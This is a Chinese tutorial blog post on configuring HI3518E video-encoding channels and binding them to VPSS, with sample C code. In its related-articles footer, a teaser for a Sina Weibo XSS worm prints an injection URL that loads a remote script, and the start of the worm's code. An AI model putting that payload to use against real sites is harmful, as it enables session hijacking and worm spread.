第二季7:创建配置编码通道(step5:VENC部分)

以下内容源于朱有鹏嵌入式课程的学习与整理,如有侵权请告知删除。

前言

本文将详细介绍博文第二季3:sample_venc.c的整体分析提及的“创建配置编码通道”。

我们首先介绍VENC模块相关的概念,然后绘制该模块的函数调用关系图谱,接着分析具体代码。

一、VENC模块的相关概念

1、VENC模块的功能

VENC模块,即视频编码模块。

本模块支持多路实时编码,且每路编码独立,即每路的编码协议和编码profile可以不同。

本模块也支持在视频编码时,调度Region模块对编码图像的内容进行叠加和遮挡。

2、VENC模块的输入源

VENC 模块的输入源包括三类:

(1)用户态读取图像文件向编码模块发送数据。

(2)VI模块采集的图像直接发送到编码模块。

(3)VI模块采集的图像经视频处理子系统(VPSS)发送到编码模块。(我们分析这类!

3、VENC模块支持的编码格式

不同型号的芯片支持不同的编码格式,由下表可知 HI3518E 支持H.264编码

4、VENC模块的上下文

VENC模块的上下文如下图所示。

编码流程包括:输入图像的接收、图像内容的遮挡和覆盖、图像的编码、以及码流的输出等过程。

(1)图像接收通道

其中VENC模块包含图像接收通道、具体协议(H.264/H.265/JPEG/MJPEG)编码通道。

图像接收通道支持接收 YUV 格式的图像输入(H.264/H.265 只支持YUV420SP,JPEG/MJPEG 支持YUV420SP或YUV422SP),另外HI3518E也支持单Y分量的输入。图像接收通道接收外部的原始图像数据,而不关心图像数据是来自哪个外部模块。

图像接收通道接收到图像之后,会比较图像尺寸和编码通道尺寸:

  • 如果输入图像比编码通道尺寸大,VENC模块将按照编码通道尺寸大小,调用 VGS 对源图像进行缩小,然后对缩小之后的图像进行编码。

  • 如果输入图像比编码通道尺寸小,VENC模块将丢弃源图像,因为不支持放大输入图像编码。

  • 如果输入图像与编码通道尺寸相当,VENC模块直接接收源图像,进行编码。

(2)REGION模块

该模块支持对图像内容的遮挡和叠加。

(3)具体协议编码通道

具体协议编码通道的功能框图如下,从中可知具体编码通道由码率控制器、编码器协同完成,主要实现图像转化为编码码流的功能。这里的编码器,指的是狭义上的编码器,只完成编码功能。码率控制器,提供对编码参数的控制和调整,从而对输出码率进行控制。

对于 H.264、H.265、MJPEG 协议的编码通道,码率控制器提供 CBR(固定比特率)、VBR(可变比特率)、FIXQP(固定QP) 这三种码率控制模式,对图像质量和码率进行调节。

5、编码码流的帧配置模式

阅读本节内容前,先理解博文第6季1:H264编码原理与基本概念_天糊土的博客的内容。

编码码流帧配置支持两种模式:单包模式和多包模式。也就是说,我们可以将一个帧的数据作为一个码流包发送(即单包模式),也可以将一个帧搞成几个(H.264为4个)码流包进行发送(即多包模式)。注意这里说的多包,特指在不调用分包接口的情况下,也就是说不对一帧数据进行“子帧”划分,或者说,以一帧完整的图像数据作为单位的。

它们的示意图如下(以H.264为例)。

(1)多包模式。对于H.264,当为I帧时,调用HI_MPI_VENC_GetStream接口,一个I帧包含4个NAL包(4个NAL包分别为sps包、pps包、sei包、Islice包,这里假设pps包只有一个,且4个NAL包是独立的,包类型不同);对于JPEG,一帧图像包含2个包(1个图像参数包,1个图像数据包,2个包是独立的,包类型不同)。

(2)单包模式:对于H.264,当为I帧时,调用HI_MPI_VENC_GetStream接口,一个I帧包含1个NAL 包(该NAL包的包类型为Islice包,且包含sps、pps、sei、Islice的数据);对于JPEG,一帧图像只有1个包(该包的包类型为图像数据包,且包含图像参数包的数据)。

两种模式可通过 ko 加载时设置模块参数 OneStreamBuffer 来选择。OneStreamBuffer=1表示单包模式;OneStreamBuffer=0 表示多包模式,系统默认 OneStreamBuffer=0。

(接下来这段话描述的是调用分包接口的情形?)

当用户调用分包接口(例如HI_MPI_VENC_SetH264SliceSplit) 时,一帧会被分成多个slice,如果用户选择单包模式,对于 I 帧来说,该帧第一个 ISlice 包会包含 sps、pps、sei 的数据,该帧的其他 ISlice 则没有。即对于 H.264,sps、pps、sei 的数据只会出现在 I 帧的第一个 Islice 中(Islice中的字母I表示I帧),并合为 1 个包,且包类型为 ISlice;对于 JPEG/MJPEG 来说,图像参数包只会出现在一帧的第一个数据包中并合为 1 个包,且包类型为数据包。

根据上面的描述,案例里使用的是多包模式(没有设置这个参数,所以使用默认的)。

6、编码码流的buffer配置模式

编码码流 buffer 配置支持两种模式:一般模式和省内存模式。

  • 一般模式:考虑到超大帧的情况,码流 Buffer 大小配置的下限为:H264 和 H265是通道宽 x 通道高 x3/4,JPEG 和 MJPEG 是通道宽 x 通道高。

  • 省内存模式:码流 Buffer 大小配置的下限是 32*1024 bytes,此模式需要用户保证码流 buffer 大小设置合理,否则会出现因码流 buffer 不足而不断重编或者丢帧的情况。

两种模式可通过 ko 加载时设置相应的模块参数来选择。模块参数值为 1 表示省内存模式,模块参数值 0 表示一般模式。

  • hi35xx_h264e.ko 模块参数:H264eMiniBufMode。

  • hi35xx_h265e.ko 模块参数:H265eMiniBufMode。

  • hi35xx_jpege.ko 模块参数:JpegeMiniBufMode。

7、VENC模块的设备和通道 

注意VENC模块也有“设备”“通道”的概念。这里的“设备”即VENC模块这个硬件单元,只有一个,编号为0。这个VENC设备的内部也有几个通道(对应着不同协议),将来分别与VPSS模块的通道进行绑定。我们的案例里VENC设备具有3个通道,分别与VPSS模块的3个通道进行绑定。

二、VENC模块的函数调用关系 

VENC模块的函数调用关系如下:

SAMPLE_COMM_VENC_StartSAMPLE_COMM_SYS_GetPicSizeHI_MPI_VENC_CreateChn//创建编码通道HI_MPI_VENC_StartRecvPic//接收图片并开始编码SAMPLE_COMM_VENC_BindVpssHI_MPI_SYS_Bind//绑定VPSS和VENC

由此可知,该模块涉及以下几个步骤:

  • 开启VENC模块(先创建编码通道,然后接收图片并开始编码)

  • 绑定VPSS的通道到编码通道

 下面我们将详细介绍这几个步骤涉及到的概念与代码细节。

三、VENC模块代码详解

VENC模块的代码与分析如下。由于三路编码通道的操作基本相同,我们分析通道0即可。

 /******************************************step 5: start stream venc******************************************//*** HD1080P **/printf("\t c) cbr.\n");printf("\t v) vbr.\n");printf("\t f) fixQp\n");printf("please input choose rc mode!\n");c = (char)getchar();switch(c)//首先选择码率控制模式,c表示固定码率,v表示可变码率,f表示固定QP{case 'c':enRcMode = SAMPLE_RC_CBR;break;case 'v':enRcMode = SAMPLE_RC_VBR;break;case 'f':enRcMode = SAMPLE_RC_FIXQP;break;default:printf("rc mode! is invaild!\n");goto END_VENC_1080P_CLASSIC_4;}/*** enSize[0] **/if(s32ChnNum >= 1)//开始对编码通道0进行编码{VpssGrp = 0;//VpssChn = 0;//将来绑定VPSS模块的GROUP0中的通道0VencChn = 0;//这个函数我们重点分析s32Ret = SAMPLE_COMM_VENC_Start(VencChn, enPayLoad[0],\gs_enNorm, enSize[0], enRcMode,u32Profile);if (HI_SUCCESS != s32Ret){SAMPLE_PRT("Start Venc failed!\n");goto END_VENC_1080P_CLASSIC_5;}//将VENC模块的通道0,与VPSS模块的GROUP0中的通道0,进行绑定s32Ret = SAMPLE_COMM_VENC_BindVpss(VencChn, VpssGrp, VpssChn);if (HI_SUCCESS != s32Ret){SAMPLE_PRT("Start Venc failed!\n");goto END_VENC_1080P_CLASSIC_5;}}/*** enSize[1] **/if(s32ChnNum >= 2){VpssChn = 1;VencChn = 1;s32Ret = SAMPLE_COMM_VENC_Start(VencChn, enPayLoad[1], \gs_enNorm, enSize[1], enRcMode,u32Profile);if (HI_SUCCESS != s32Ret){SAMPLE_PRT("Start Venc failed!\n");goto END_VENC_1080P_CLASSIC_5;}s32Ret = SAMPLE_COMM_VENC_BindVpss(VencChn, VpssGrp, VpssChn);if (HI_SUCCESS != s32Ret){SAMPLE_PRT("Start Venc failed!\n");goto END_VENC_1080P_CLASSIC_5;}}/*** enSize[2] **/if(s32ChnNum >= 3){VpssChn = 2;VencChn = 2;s32Ret = SAMPLE_COMM_VENC_Start(VencChn, enPayLoad[2], \gs_enNorm, enSize[2], enRcMode,u32Profile);if (HI_SUCCESS != s32Ret){SAMPLE_PRT("Start Venc failed!\n");goto END_VENC_1080P_CLASSIC_5;}s32Ret = SAMPLE_COMM_VENC_BindVpss(VencChn, VpssGrp, VpssChn);if (HI_SUCCESS != s32Ret){SAMPLE_PRT("Start Venc failed!\n");goto END_VENC_1080P_CLASSIC_5;}}

1、SAMPLE_COMM_VENC_Start 函数分析

参数1,表示VENC模块的某个通道。参数2,表示编码格式(是指VENC对视频流的编码压缩方式,并非指图像像素格式YUV这种概念。案例里三路编码通道的编码格式居然都是H264)。参数3,表示图像制式(这里是NTSC)。参数4,表示图像分辨率(枚举变量而已,但对应着具体的分辨率)。参数5,表示码率控制模式(即CBR\VBR\FIXQP)。参数6,表示profle(啥意思)。

该函数内部的流程如下:

(1)首先调用SAMPLE_COMM_SYS_GetPicSize函数获取图像的分辨率(因为需要将这些分辨率信息赋值给某些结构体的成员);

(2)然后switch语句判断参数2(即判断是哪种编码格式),由于参数2是PT_H264,因此接下来填充结构体变量stH264Attr的成员(这个结构体变量包含着H264协议编码通道的属性或者说设置信息)。

(3)接下来根据码率控制模式(我们输入的是“c”或者“v”或者“f”对应着CBR\VBR\FIXQP),来填充结构体变量stH264Cbr或stH264FixQp或stH264Vbr,以及结构体变量stVencChnAttr的成员(具体成员的含义有时间可以看看)。

(4)然后调用HI_MPI_VENC_CreateChn函数来创建通道,传入的参数1是VENC模块的某个通道,参数2是(3)中的结构体变量stVencChnAttr。

(5)最后调用HI_MPI_VENC_StartRecvPic函数,开始进行图像的接收与编码。

2、SAMPLE_COMM_VENC_BindVpss函数分析

这个函数内容与分析如下:

/*****************************************
* function : venc bind vpss           
*******************************************/
HI_S32 SAMPLE_COMM_VENC_BindVpss(VENC_CHN VeChn,VPSS_GRP VpssGrp,VPSS_CHN VpssChn)
{HI_S32 s32Ret = HI_SUCCESS;MPP_CHN_S stSrcChn;MPP_CHN_S stDestChn;//绑定关系中,源头的相关信息stSrcChn.enModId = HI_ID_VPSS;//HI3518E中的哪个硬件单元,这里是VPSS模块硬件单元stSrcChn.s32DevId = VpssGrp;//VPSS模块中的哪个GROUP,这里VpssGrp=0stSrcChn.s32ChnId = VpssChn;//GROUP0中的哪个通道,这里是通道VpssChn//绑定关系中,接收方的相关信息stDestChn.enModId = HI_ID_VENC;/HI3518E中的哪个硬件单元,这里是VENC模块硬件单元stDestChn.s32DevId = 0;//VENC模块中的哪个设备,这里是设备0stDestChn.s32ChnId = VeChn;//设备0中的哪个通道,这里是通道VeChns32Ret = HI_MPI_SYS_Bind(&stSrcChn, &stDestChn);if (s32Ret != HI_SUCCESS){SAMPLE_PRT("failed with %#x!\n", s32Ret);return HI_FAILURE;}return s32Ret;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/460459.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

hdu 1176 馅饼

略微简单的动态规划 只是简单贴代码就好了。 #include <stdio.h> #include <string.h>int dp[100007][11]; int ans[100007][11]; int n,N;inline int Max(int x,int c){return x>c?x:c; } int v[16]; void DP() {int i,j;memset(v,0,sizeof(v));memset(ans,0,…

iOS开发-Get请求,Post请求,同步请求和异步请求

标题中的Get和Post是请求的两种方式&#xff0c;同步和异步属于实现的方法&#xff0c;Get方式有同步和异步两种方法&#xff0c;Post同理也有两种。稍微有点Web知识的&#xff0c;对Get和Post应该不会陌生&#xff0c;常说的请求处理响应&#xff0c;基本上请求的是都是这两个…

js new

如果一个函数前面带上new来调用该函数&#xff0c;那么将创建一个隐藏连接到该函数的prototype成员的新对象&#xff0c;同时this将被绑定到那个新对象上 即&#xff1a; function B(){} var anew B(); 类似于 function B(){} var a{}; a.__proto__B.prototype; B.call(a); 转载…

第二季8:保存编码得到的码流(step6:Save to File)

以下内容源于朱有鹏嵌入式课程的学习与整理&#xff0c;如有侵权请告知删除。 前言 本文将详细介绍博文第二季3&#xff1a;sample_venc.c的整体分析提及的“ 保存编码得到的码流 ”。 即把编码得到的三路码流&#xff08;三路码流都是H264格式的&#xff0c;只是分辨率不同…

新浪微博之XSS蠕虫脚本源码讲解

主要是因为新浪的广场页面有几个链接对输入参数过滤不严导致的反射性XSS。 微博XSS漏洞点 weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src//www.****.com/images/t.js%3e%3c/script%3e?typeupdate 微博XSS脚本内容(XSS源码)function createXHR(){ return window.XMLHttpRe…

Wireshark下载安装和使用教程

本文转载于Wireshark下载安装和使用教程。 Wireshark&#xff08;前身 Ethereal&#xff09;是一个网络包分析工具。该工具主要是用来捕获网络数据包&#xff0c;并自动解析数据包&#xff0c;为用户显示数据包的详细信息&#xff0c;供用户对数据包进行分析。它可以运行在 Wi…

关于 ioctl 的 FIONREAD 參数

ioctl 是用来设置硬件控制寄存器&#xff0c;或者读取硬件状态寄存器的数值之类的。而read,write 是把数据丢入缓冲区&#xff0c;硬件的驱动从缓冲区读取数据一个个发送或者把接收的数据送入缓冲区。 ioctl(keyFd, FIONREAD, &b) 得到缓冲区里有多少字节要被读取&#xff…

Cortex-M3 动态加载一(地址无关代码实现)

这篇文章是自己疑惑究竟地址无关性是如何实现&#xff0c;然后查看汇编和CPU指令手册&#xff0c;最后分析解除自己疑惑的&#xff0c;高手不要鄙视&#xff0c;哈哈。 编译C代码时候需要制定--acps/ropi选项&#xff0c;如下例子&#xff1a; 1 void SystemInit(void)2 {3 }4 …

memset函数

以下内容源于网络资源的学习与整理&#xff0c;欢迎交流。 函数原型&#xff1a;void *memset(void *s, int c, size_t n); 函数作用&#xff1a;将指针s所指向的内存的前n个字节的内容设置为c。 补充说明&#xff1a;用于初始化新申请的内存&#xff0c;它是对较大结构体或数…

快速切換手機版網頁語法

今天臨時接到一通電話&#xff0c;客戶的官方網站使用手機瀏覽時突然無法跳轉到手機版網頁&#xff0c;情急之下在五分鐘內拼出了Java Script 跳轉語法&#xff0c;加入在網頁內並成功讓手機用戶跳轉成功。 我想對於一般中小型企業來說&#xff0c;應該也是夠用的。 ▼ 一般用法…

memcpy函数

以下内容源于网络资源的学习与整理&#xff0c;欢迎交流。 函数原型&#xff1a;void *memcpy(void *dest, const void *src, size_t n); 函数作用&#xff1a;将指针src所指向的内存的前n个字节&#xff0c;复制到指针dest所指向的内存中。 补充说明&#xff1a;dest和src所…

mysqldump 使用备忘

语法 导出所有数据库&#xff1a; mysqldump -u root -p -A > backupfile.sql导出指定数据库&#xff1a; mysqldump -u root -p -B dbName1 dbName2 > backupfile.sql导出指定表&#xff1a; mysqldump -u root -p -B dbName tableName1 tableName2 > backupfile.sql…

C#使用Log4Net记录日志【转】

第一步&#xff1a;下载Log4Net 下载地址&#xff1a;http://logging.apache.org/log4net/download_log4net.cgi 把下载的 log4net-1.2.11-bin-newkey解压后&#xff0c;如下图所示&#xff1a; 双击bin文件夹 双击net文件夹&#xff0c;选择针对.NET FramerWork的不同版本 找…

Map实现之HashMap(结构及原理)(转)

java.util包中的集合类包含 Java 中某些最常用的类。最常用的集合类是 List 和 Map。List 的具体实现包括 ArrayList 和 Vector&#xff0c;它们是可变大小的列表&#xff0c;比较适合构建、存储和操作任何类型对象元素列表。List 适用于按数值索引访问元素的情形。 Map 则提供…

linux二重启动防止

#!/bin/bash # &#xff12;重起動チェック function checkDuplicate() {local RET0local base${0##*/}local pidfile"/tmp/${base}.pid"while true; doif ln -s $$ ${pidfile} 2> /dev/nullthen# 起動OKRET0 && breakelsep$(ls -l ${pidfile} | sed s.* …

17 redis -key设计原则

书签系统 create table book ( bookid int, title char(20) )engine myisam charset utf8;insert into book values (5 , PHP圣经), (6 , ruby实战), (7 , mysql运维), (8, ruby服务端编程);create table tags ( tid int, bookid int, content char(20) )engine myisam charse…

★Linux磁盘配额的使用 ★——牛刀小试

磁盘配额的作用&#xff1a;限制普通用户使用磁盘的空间和创建文件的个数&#xff0c;不至于因为个别人的浪费而影响所有人的使用 需要用户程序quota软件包 #rpm -qa | grep quota 查看quota软件包安装没 #mount -o usrquota,grpquota /dev/hda1 /mnt/one 使用usrquota,grpq…

mysql对表中添加属性_菜鸟笔记—数据分析师MySQL篇(一)

简单说一下我写这份学习笔记的原因&#xff0c;由于工作的原因&#xff0c;想换一份工作&#xff0c;对于毕业已经快6年了&#xff0c;再次重新学习就需要付出很大的勇气和努力&#xff0c;如果态度还不能及时调整&#xff0c;最近找工作遇到的窘境就不言而喻了。去年底报了一个…

xcode工程命令行生成ipa安装包

主要使用两个命令 xcodebuild&#xff1a;将xcode工程打包成.app文件 xcrun&#xff1a;将app打包成.ipa文件 下面是写好的ant脚本&#xff1a; 1 <?xml version"1.0" encoding"UTF-8"?> 2 <project default"release" name"Pack…

matlab打开笔记本摄像头_如何解决笔记本电脑摄像头异常问题

如果您遇到笔记本电脑相机异常问题(无法侦测视讯装置、视讯无画面、视讯画面异常、视讯画面颠倒等等)&#xff0c;请参考以下疑难解答方式依序尝试。提供应用程序权限 / 检查防病毒软件/ 更新Windows Update / 更新相机驱动程序/透过系统还原点还原系统/ 系统还原1. 提供应用程…